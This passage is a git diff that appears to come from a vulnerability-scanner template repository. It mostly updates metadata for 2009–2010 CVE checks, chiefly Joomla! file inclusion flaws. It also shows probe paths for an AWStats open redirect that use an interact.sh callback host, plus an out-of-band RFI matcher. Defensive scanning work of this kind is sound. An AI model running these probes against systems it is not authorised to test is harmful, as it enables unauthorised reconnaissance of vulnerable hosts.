CVE-2009-2100 - tags: cve,cve2009,joomla,lfi + cwe-id: CWE-22 + tags: cve,cve2009,joomla,lfi,edb requests: - method: GET @@ -27,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2009/CVE-2009-3053.yaml b/cves/2009/CVE-2009-3053.yaml index 796cb2ec01..2a5e91b46d 100644 --- a/cves/2009/CVE-2009-3053.yaml +++ b/cves/2009/CVE-2009-3053.yaml @@ -1,16 +1,22 @@ id: CVE-2009-3053 info: - name: Joomla! Component Agora 3.0.0b (com_agora) - Local File Inclusion + name: Joomla! Agora 3.0.0b - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the Agora (com_agora) component 3.0.0b for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the action parameter to the avatars page, reachable through index.php. + description: Joomla! Agora 3.0.0b (com_agora) allows remote attackers to include and execute arbitrary local files via local file inclusion in the action parameter to the avatars page, reachable through index.php. reference: - https://www.exploit-db.com/exploits/9564 - https://www.cvedetails.com/cve/CVE-2009-3053 + - https://web.archive.org/web/20210120183330/https://www.securityfocus.com/bid/36207/ + - https://exchange.xforce.ibmcloud.com/vulnerabilities/52964 + - https://nvd.nist.gov/vuln/detail/CVE-2009-3053 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2009-3053 - tags: cve,cve2009,joomla,lfi + cwe-id: CWE-22 + tags: cve,cve2009,joomla,lfi,edb requests: - method: GET @@ -27,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2009/CVE-2009-3318.yaml b/cves/2009/CVE-2009-3318.yaml index e2c03c140a..fe8a9f6991 100644 --- a/cves/2009/CVE-2009-3318.yaml +++ b/cves/2009/CVE-2009-3318.yaml @@ -1,16 +1,18 @@ id: CVE-2009-3318 info: - name: Joomla! Component com_album 1.14 - Directory Traversal + name: Joomla! Roland Breedveld Album 1.14 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the Roland Breedveld Album (com_album) component 1.14 for Joomla! allows remote attackers to access arbitrary directories and have unspecified other impact via a .. (dot dot) in the target parameter to index.php. + description: Joomla! Roland Breedveld Album 1.14 (com_album) is susceptible to local file inclusion because it allows remote attackers to access arbitrary directories and have unspecified other impact via a .. (dot dot) in the target parameter to index.php. reference: - https://www.exploit-db.com/exploits/9706 - https://www.cvedetails.com/cve/CVE-2009-3318 + - https://nvd.nist.gov/vuln/detail/CVE-2009-3318 + - https://web.archive.org/web/20210121192413/https://www.securityfocus.com/bid/36441/ classification: cve-id: CVE-2009-3318 - tags: cve,cve2009,joomla,lfi + tags: joomla,lfi,edb,cve,cve2009 requests: - method: GET @@ -27,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2009/CVE-2009-4202.yaml b/cves/2009/CVE-2009-4202.yaml index cde51b56a3..72d2b72fac 100644 --- a/cves/2009/CVE-2009-4202.yaml +++ b/cves/2009/CVE-2009-4202.yaml @@ -1,16 +1,18 @@ id: CVE-2009-4202 info: - name: Joomla! Component Omilen Photo Gallery 0.5b - Local File Inclusion + name: Joomla! Omilen Photo Gallery 0.5b - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the Omilen Photo Gallery (com_omphotogallery) component Beta 0.5 for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php. + description: Joomla! Omilen Photo Gallery (com_omphotogallery) component Beta 0.5 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/8870 - - https://www.cvedetails.com/cve/CVE-2009-4202 + - http://www.vupen.com/english/advisories/2009/1494 + - https://nvd.nist.gov/vuln/detail/CVE-2009-4202 + - http://web.archive.org/web/20210121191031/https://www.securityfocus.com/bid/35201/ classification: cve-id: CVE-2009-4202 - tags: cve,cve2009,joomla,lfi,photo + tags: cve2009,joomla,lfi,photo,edb,cve requests: - method: GET @@ -27,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2009/CVE-2009-4223.yaml b/cves/2009/CVE-2009-4223.yaml index a8d559586b..6c15468fe8 100644 --- a/cves/2009/CVE-2009-4223.yaml +++ b/cves/2009/CVE-2009-4223.yaml @@ -1,16 +1,19 @@ id: CVE-2009-4223 info: - name: KR-Web <= 1.1b2 RFI + name: KR-Web <=1.1b2 - Remote File Inclusion author: geeknik severity: high - description: KR is a web content-server based on Apache-PHP-MySql technology which gives to programmers some PHP classes simplifying database content access. Additionally, it gives some admin and user tools to write, hierarchize, and authorize contents. + description: KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter. reference: - https://sourceforge.net/projects/krw/ - https://www.exploit-db.com/exploits/10216 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/54395 + - http://www.exploit-db.com/exploits/10216 + - https://nvd.nist.gov/vuln/detail/CVE-2009-4223 classification: cve-id: CVE-2009-4223 - tags: cve,cve2009,krweb,rfi + tags: cve,cve2009,krweb,rfi,edb requests: - method: GET @@ -26,3 +29,5 @@ requests: part: interactsh_protocol words: - "http" + +# Enhanced by mp on 2022/06/06 diff --git a/cves/2009/CVE-2009-4679.yaml b/cves/2009/CVE-2009-4679.yaml index a6d270b89f..5b3eddb5f0 100644 --- a/cves/2009/CVE-2009-4679.yaml +++ b/cves/2009/CVE-2009-4679.yaml @@ -1,16 +1,19 @@ id: CVE-2009-4679 info: - name: Joomla! Component iF Portfolio Nexus - 'Controller' Remote File Inclusion + name: Joomla! Portfolio Nexus - Remote File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the inertialFATE iF Portfolio Nexus (com_if_nexus) component 1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. + description: | + Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/33440 - https://www.cvedetails.com/cve/CVE-2009-4679 + - https://nvd.nist.gov/vuln/detail/CVE-2009-4679 + - http://web.archive.org/web/20140722130146/http://secunia.com/advisories/37760/ classification: cve-id: CVE-2009-4679 - tags: cve,cve2009,joomla,lfi,nexus + tags: cve,cve2009,joomla,lfi,nexus,edb requests: - method: GET @@ -27,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2009/CVE-2009-5020.yaml b/cves/2009/CVE-2009-5020.yaml index 2ad12cacca..6e9cbc2706 100644 --- a/cves/2009/CVE-2009-5020.yaml +++ b/cves/2009/CVE-2009-5020.yaml @@ -7,24 +7,25 @@ info: description: An open redirect vulnerability in awredir.pl in AWStats < 6.95 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors. reference: - https://nvd.nist.gov/vuln/detail/CVE-2009-5020 + - http://awstats.sourceforge.net/docs/awstats_changelog.txt + remediation: Apply all relevant security patches and product upgrades. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2009-5020 cwe-id: CWE-601 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2020,redirect,awstats + tags: cve,cve2009,redirect,awstats requests: - method: GET path: - - '{{BaseURL}}/awstats/awredir.pl?url=example.com' - - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=example.com' + - '{{BaseURL}}/awstats/awredir.pl?url=interact.sh' + - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=interact.sh' stop-at-first-match: true matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 # Enhanced by mp on 2022/02/13 diff --git a/cves/2009/CVE-2009-5114.yaml b/cves/2009/CVE-2009-5114.yaml index 750d54d5cd..5af5b4b502 100644 --- a/cves/2009/CVE-2009-5114.yaml +++ b/cves/2009/CVE-2009-5114.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/36994 - https://www.cvedetails.com/cve/CVE-2009-5114 + - http://websecurity.com.ua/2628/ + - https://exchange.xforce.ibmcloud.com/vulnerabilities/74321 + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2009-5114 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2009,lfi + tags: edb,cve,cve2009,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-0157.yaml b/cves/2010/CVE-2010-0157.yaml index 27b02b1ed4..da7e3a7f63 100644 --- a/cves/2010/CVE-2010-0157.yaml +++ b/cves/2010/CVE-2010-0157.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/10943 - https://www.cvedetails.com/cve/CVE-2010-0157 + - http://web.archive.org/web/20151023032409/http://secunia.com/advisories/37896/ + - http://packetstormsecurity.org/1001-exploits/joomlabiblestudy-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-0157 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-0219.yaml b/cves/2010/CVE-2010-0219.yaml index 271add009d..1599e7084c 100644 --- a/cves/2010/CVE-2010-0219.yaml +++ b/cves/2010/CVE-2010-0219.yaml @@ -8,6 +8,8 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2010-0219 - https://knowledge.broadcom.com/external/article/13994/vulnerability-axis2-default-administrato.html + - http://www.rapid7.com/security-center/advisories/R7-0037.jsp + - http://www.vupen.com/english/advisories/2010/2673 classification: cve-id: CVE-2010-0219 metadata: diff --git a/cves/2010/CVE-2010-0467.yaml b/cves/2010/CVE-2010-0467.yaml index 82f7ef4d83..3fe2911280 100644 --- a/cves/2010/CVE-2010-0467.yaml +++ b/cves/2010/CVE-2010-0467.yaml @@ -8,13 +8,15 @@ info: reference: - https://www.exploit-db.com/exploits/11282 - https://www.cvedetails.com/cve/CVE-2010-0467 + - http://web.archive.org/web/20210121194037/https://www.securityfocus.com/bid/37987/ + - http://www.chillcreations.com/en/blog/ccnewsletter-joomla-newsletter/ccnewsletter-106-security-release.html + remediation: Apply all relevant security patches and upgrades. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N cvss-score: 5.8 cve-id: CVE-2010-0467 cwe-id: CWE-22 - remediation: Apply all relevant security patches and upgrades. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-0696.yaml b/cves/2010/CVE-2010-0696.yaml index 011cddc99d..13c6825f6c 100644 --- a/cves/2010/CVE-2010-0696.yaml +++ b/cves/2010/CVE-2010-0696.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11447 - https://www.cvedetails.com/cve/CVE-2010-0696 + - http://web.archive.org/web/20140805102632/http://secunia.com/advisories/38587/ + - http://www.joomlaworks.gr/content/view/77/34/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-0696 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-0759.yaml b/cves/2010/CVE-2010-0759.yaml index d624499826..06f7036b6b 100644 --- a/cves/2010/CVE-2010-0759.yaml +++ b/cves/2010/CVE-2010-0759.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11498 - https://www.cvedetails.com/cve/CVE-2010-0759 + - http://web.archive.org/web/20151104183037/http://secunia.com/advisories/38637/ + - http://web.archive.org/web/20210121194344/https://www.securityfocus.com/bid/38296/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-0759 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi,plugin + tags: cve,cve2010,joomla,lfi,plugin,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-0942.yaml b/cves/2010/CVE-2010-0942.yaml index 47f42f196c..7da6f78f24 100644 --- a/cves/2010/CVE-2010-0942.yaml +++ b/cves/2010/CVE-2010-0942.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/11089 - https://www.cvedetails.com/cve/CVE-2010-0942 + - http://packetstormsecurity.org/1001-exploits/joomlajvideodirect-traversal.txt + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-0942 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-0943.yaml b/cves/2010/CVE-2010-0943.yaml index 0004004c0b..7e876effea 100644 --- a/cves/2010/CVE-2010-0943.yaml +++ b/cves/2010/CVE-2010-0943.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/11090 - https://www.cvedetails.com/cve/CVE-2010-0943 + - http://web.archive.org/web/20210121193737/https://www.securityfocus.com/bid/37692/ + - http://web.archive.org/web/20140724215426/http://secunia.com/advisories/33486/ classification: cve-id: CVE-2010-0943 - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-0944.yaml b/cves/2010/CVE-2010-0944.yaml index feed3f23e9..f4466848fc 100644 --- a/cves/2010/CVE-2010-0944.yaml +++ b/cves/2010/CVE-2010-0944.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11088 - https://www.cvedetails.com/cve/CVE-2010-0944 + - http://packetstormsecurity.org/1001-exploits/joomlajcollection-traversal.txt + - http://www.exploit-db.com/exploits/11088 + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-0944 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-0972.yaml b/cves/2010/CVE-2010-0972.yaml index b645bee4fd..8407ae95f5 100644 --- a/cves/2010/CVE-2010-0972.yaml +++ b/cves/2010/CVE-2010-0972.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11738 - https://www.cvedetails.com/cve/CVE-2010-0972 + - http://web.archive.org/web/20140804152652/http://secunia.com/advisories/38925/ + - http://www.exploit-db.com/exploits/11738 + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-0972 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2010,joomla,lfi + tags: edb,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-0982.yaml b/cves/2010/CVE-2010-0982.yaml index 9d72d6cee7..d01504ad83 100644 --- a/cves/2010/CVE-2010-0982.yaml +++ b/cves/2010/CVE-2010-0982.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/10942 - https://www.cvedetails.com/cve/CVE-2010-0982 + - http://web.archive.org/web/20210121193625/https://www.securityfocus.com/bid/37581/ + - http://web.archive.org/web/20151104182451/http://secunia.com/advisories/37917/ + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-0982 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-0985.yaml b/cves/2010/CVE-2010-0985.yaml index 5380a21392..bf22a5fe1c 100644 --- a/cves/2010/CVE-2010-0985.yaml +++ b/cves/2010/CVE-2010-0985.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/10948 - https://www.cvedetails.com/cve/CVE-2010-0985 + - http://web.archive.org/web/20210623092041/https://www.securityfocus.com/bid/37560 + - http://www.exploit-db.com/exploits/10948 + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-0985 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1056.yaml b/cves/2010/CVE-2010-1056.yaml index 785da305f0..e7acf71db9 100644 --- a/cves/2010/CVE-2010-1056.yaml +++ b/cves/2010/CVE-2010-1056.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11760 - https://www.cvedetails.com/cve/CVE-2010-1056 + - http://web.archive.org/web/20210121194803/https://www.securityfocus.com/bid/38741/ + - http://web.archive.org/web/20151023104850/http://secunia.com/advisories/38982/ + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-1056 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1081.yaml b/cves/2010/CVE-2010-1081.yaml index 22ecf2057d..846d1ba7cc 100644 --- a/cves/2010/CVE-2010-1081.yaml +++ b/cves/2010/CVE-2010-1081.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/11511 - https://www.cvedetails.com/cve/CVE-2010-1081 + - http://www.corejoomla.com/component/content/article/1-corejoomla-updates/40-community-polls-v153-security-release.html + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-1081 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1217.yaml b/cves/2010/CVE-2010-1217.yaml index cc51307f4b..71b5ad9a37 100644 --- a/cves/2010/CVE-2010-1217.yaml +++ b/cves/2010/CVE-2010-1217.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11814 - https://www.cvedetails.com/cve/CVE-2010-1217 + - http://www.packetstormsecurity.org/1003-exploits/joomlajetooltip-lfi.txt + - http://web.archive.org/web/20210624111408/https://www.securityfocus.com/bid/38866 + remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-1217 - remediation: Apply all relevant security patches and product upgrades. - tags: cve,cve2010,joomla,lfi,plugin + tags: edb,packetstorm,cve,cve2010,joomla,lfi,plugin requests: - method: GET diff --git a/cves/2010/CVE-2010-1219.yaml b/cves/2010/CVE-2010-1219.yaml index c6181997c6..7fc13086f6 100644 --- a/cves/2010/CVE-2010-1219.yaml +++ b/cves/2010/CVE-2010-1219.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11757 - https://www.cvedetails.com/cve/CVE-2010-1219 + - http://web.archive.org/web/20161009134632/http://secunia.com/advisories/38952 + - http://web.archive.org/web/20210617075625/https://www.securityfocus.com/bid/38746 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1219 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1302.yaml b/cves/2010/CVE-2010-1302.yaml index 3b0228cac5..1f25c7cecb 100644 --- a/cves/2010/CVE-2010-1302.yaml +++ b/cves/2010/CVE-2010-1302.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11978 - https://www.cvedetails.com/cve/CVE-2010-1302 + - http://web.archive.org/web/20210121195144/https://www.securityfocus.com/bid/39108/ + - http://web.archive.org/web/20140805062036/http://secunia.com/advisories/39200/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1302 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi,graph + tags: edb,cve,cve2010,joomla,lfi,graph requests: - method: GET diff --git a/cves/2010/CVE-2010-1304.yaml b/cves/2010/CVE-2010-1304.yaml index c36e99c091..c2e0e955f7 100644 --- a/cves/2010/CVE-2010-1304.yaml +++ b/cves/2010/CVE-2010-1304.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11998 - https://www.cvedetails.com/cve/CVE-2010-1304 + - http://web.archive.org/web/20210518080735/https://www.securityfocus.com/bid/39174 + - http://www.exploit-db.com/exploits/11998 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1304 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi,status + tags: cve2010,joomla,lfi,status,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1305.yaml b/cves/2010/CVE-2010-1305.yaml index 775f47b85a..4250249b6b 100644 --- a/cves/2010/CVE-2010-1305.yaml +++ b/cves/2010/CVE-2010-1305.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12065 - https://www.cvedetails.com/cve/CVE-2010-1305 + - http://extensions.joomla.org/extensions/e-commerce/shopping-cart/7951 + - http://web.archive.org/web/20140806165126/http://secunia.com/advisories/39351/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1305 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-1306.yaml b/cves/2010/CVE-2010-1306.yaml index 32449fabe6..26928f9d4d 100644 --- a/cves/2010/CVE-2010-1306.yaml +++ b/cves/2010/CVE-2010-1306.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12058 - https://www.cvedetails.com/cve/CVE-2010-1306 + - http://web.archive.org/web/20140805134149/http://secunia.com/advisories/39338/ + - http://web.archive.org/web/20210121195240/https://www.securityfocus.com/bid/39200/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1306 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1307.yaml b/cves/2010/CVE-2010-1307.yaml index 8d4c18d51d..cf39fdc2b2 100644 --- a/cves/2010/CVE-2010-1307.yaml +++ b/cves/2010/CVE-2010-1307.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12070 - https://www.cvedetails.com/cve/CVE-2010-1307 + - http://web.archive.org/web/20140806154402/http://secunia.com/advisories/39348/ + - http://www.vupen.com/english/advisories/2010/0806 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1307 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: edb,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-1308.yaml b/cves/2010/CVE-2010-1308.yaml index 3683a2bc44..909c451b53 100644 --- a/cves/2010/CVE-2010-1308.yaml +++ b/cves/2010/CVE-2010-1308.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12066 - https://www.cvedetails.com/cve/CVE-2010-1308 + - http://www.vupen.com/english/advisories/2010/0809 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1308 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1312.yaml b/cves/2010/CVE-2010-1312.yaml index 34c39e2ec6..059b64aa78 100644 --- a/cves/2010/CVE-2010-1312.yaml +++ b/cves/2010/CVE-2010-1312.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12077 - https://www.cvedetails.com/cve/CVE-2010-1312 + - http://web.archive.org/web/20140724200344/http://secunia.com/advisories/39289/ + - http://packetstormsecurity.org/1004-exploits/joomlanewportal-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1312 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-1313.yaml b/cves/2010/CVE-2010-1313.yaml index 1b865aa5ac..c0d27ee8d3 100644 --- a/cves/2010/CVE-2010-1313.yaml +++ b/cves/2010/CVE-2010-1313.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12082 - https://www.cvedetails.com/cve/CVE-2010-1313 + - http://web.archive.org/web/20210121195302/https://www.securityfocus.com/bid/39237/ + - http://www.exploit-db.com/exploits/12082 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1313 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1314.yaml b/cves/2010/CVE-2010-1314.yaml index 7face0dddc..3958192d98 100644 --- a/cves/2010/CVE-2010-1314.yaml +++ b/cves/2010/CVE-2010-1314.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12086 - https://www.cvedetails.com/cve/CVE-2010-1314 + - http://web.archive.org/web/20140724203458/http://secunia.com/advisories/39359/ + - http://packetstormsecurity.org/1004-exploits/joomlahsconfig-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1314 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,packetstorm,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1315.yaml b/cves/2010/CVE-2010-1315.yaml index e54b204b14..de359df4af 100644 --- a/cves/2010/CVE-2010-1315.yaml +++ b/cves/2010/CVE-2010-1315.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11999 - https://www.cvedetails.com/cve/CVE-2010-1315 + - http://web.archive.org/web/20140801092842/http://secunia.com/advisories/39209/ + - http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1315 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-1340.yaml b/cves/2010/CVE-2010-1340.yaml index 8d26fdb4e2..e97e612947 100644 --- a/cves/2010/CVE-2010-1340.yaml +++ b/cves/2010/CVE-2010-1340.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/33797 - https://www.cvedetails.com/cve/CVE-2010-1340 + - http://web.archive.org/web/20210121195000/https://www.securityfocus.com/bid/38917/ + - http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1340 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1345.yaml b/cves/2010/CVE-2010-1345.yaml index 4e3a6a9979..fa6ee67ced 100644 --- a/cves/2010/CVE-2010-1345.yaml +++ b/cves/2010/CVE-2010-1345.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/15453 - https://www.cvedetails.com/cve/CVE-2010-1345 + - http://www.exploit-db.com/exploits/11785 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1345 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1352.yaml b/cves/2010/CVE-2010-1352.yaml index d41d6ffb05..af0680717a 100644 --- a/cves/2010/CVE-2010-1352.yaml +++ b/cves/2010/CVE-2010-1352.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12084 - https://www.cvedetails.com/cve/CVE-2010-1352 + - http://web.archive.org/web/20140724194110/http://secunia.com/advisories/39357/ + - http://packetstormsecurity.org/1004-exploits/joomlajukebox-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1352 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-1353.yaml b/cves/2010/CVE-2010-1353.yaml index 3523896e82..73fb8f0020 100644 --- a/cves/2010/CVE-2010-1353.yaml +++ b/cves/2010/CVE-2010-1353.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12068 - https://www.cvedetails.com/cve/CVE-2010-1353 + - http://web.archive.org/web/20210121195246/https://www.securityfocus.com/bid/39212/ + - http://www.vupen.com/english/advisories/2010/0808 classification: cve-id: CVE-2010-1353 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1354.yaml b/cves/2010/CVE-2010-1354.yaml index f74519761c..aeef172960 100644 --- a/cves/2010/CVE-2010-1354.yaml +++ b/cves/2010/CVE-2010-1354.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12102 - https://www.cvedetails.com/cve/CVE-2010-1354 + - http://packetstormsecurity.org/1004-exploits/joomlavjdeo-lfi.txt + - http://web.archive.org/web/20140724190841/http://secunia.com/advisories/39296/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1354 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: 